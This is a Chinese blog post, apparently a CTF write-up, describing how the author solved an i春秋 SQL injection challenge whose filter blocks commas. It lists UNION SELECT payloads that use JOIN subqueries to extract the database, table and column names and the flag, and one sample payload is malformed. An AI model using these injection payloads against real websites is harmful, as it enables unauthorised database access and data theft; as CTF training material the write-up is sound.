• 逗号拦截绕过


    今天做了一道i春秋上面的题,一些东西可以记录一下。

    查看源码按源码提示输入login.php?id=1

    burp抓包后也没什么有价值的信息。看了别人的wp发现,需要对第一个页面抓包,然后可以找到一个302重定向。简单理解就是在我们进入题目的那一刻有一个页面跳转。

    真实的url是l0gin.php?id=1.

    跟进这个文件

     按套路首先测一下数据库中被过滤的字符。

    发现当输入id=1' and ascii(substr((select database()),1,1))>64 %23

    逗号被waf掉了。

    学习了一下无逗号注入

    记录一下

     如果不存在逗号的问题,正常的套路应该是

    ?id=-1' union select 1,2#

    ?id=-1' union select database(),2#

    ?id=-1' union select table_name from information.schema.tables where  table_schema where table_schema=database() #

    join代替逗号:

    一,-1' union select * from (select database()) a join (select 2) b %23

    数据库名sqli

    二,查数据表

    -1' union select * from (select group_concat(distinct(table_name)) from information_schema.tables where table_schema='sqli') a join ( select 2 ) b %23

    三,

    -1 ' union select * from (select group_concat(distinct(column_name)) from information_schema.columns where table_schema='sqli' and table_name='users') a join ( select 2 ) b %23

    四,

    -1' union select * from (select group_concat(distinct(flag_9c861b688330)) from users) a join (select 2) b %23

    flag{39502a7a-7f1d-4bd4-bd72-eddba8603eea}

  • 相关阅读:
    hdu5269 ZYB loves Xor I
    UVA 11181 Probability|Given
    UVA 10277 Boastin' Red Socks
    CodeForces 566B Replicating Processes
    UVA 10714 Ants
    CodeForces 567B Berland National Library hdu-5477 A Sweet Journey
    UVA 10759 Dice Throwing
    UVA 11027
    「CF241E」Flights
    「CF891C」Envy
  • 原文地址:https://www.cnblogs.com/sylover/p/10991106.html
Copyright © 2020-2023  润新知